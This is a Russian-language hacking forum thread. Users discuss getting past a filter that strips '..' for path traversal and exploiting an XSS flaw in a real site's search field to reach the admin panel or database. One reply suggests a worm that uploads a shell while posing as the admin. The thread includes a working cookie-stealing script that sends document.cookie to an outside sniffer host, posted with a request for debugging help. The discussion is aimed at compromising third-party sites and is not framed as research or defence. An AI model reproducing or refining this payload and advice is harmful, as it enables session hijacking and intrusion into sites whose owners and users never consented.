Да, действительно. Но нам это к сожалению врядли поможет

Как поднятся на уровень директории выше, если скрипт обрезает ".."?

сомневаюсь в возможности

Обрезается только ".." или "." тоже?

Ку алл. Такой вопрос. Есть сайт с хсс, в поле поиска выполняется
Немного помудрив смог выполнить на нем хтмл код
т.е. прописав этот код в поиске - на странице отобразилась картинка. я так понимаю, что могу выполнить и любой другой хтмл код
Собственно вопрос: смогу ли я, используя хтмл, залить шел или же только кража куков?
и вообще какие варианты, используя, то что я сейчас знаю пробиться к админке или бд?

Если зальешь шелл через XSS - выложи видео, лол ок.
*не надо мне тут говорить пров аши особые условия
Только куки

*скажу сам про особые условия - если через админку льется шелл, то можно написать червячка, который от лица админа сам зальет шелл. Но это много ипоты.

дай ссылку плиз на это чудо

<script>
img = new Image(); img.src = "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;
</script>
вот код. Почему картинку не показывает и в логе сниффера не появляется запись? Подскажите плиз

С ним все нормально, иши ошибки в самой ксс. Малоли что оно там фильтрует =\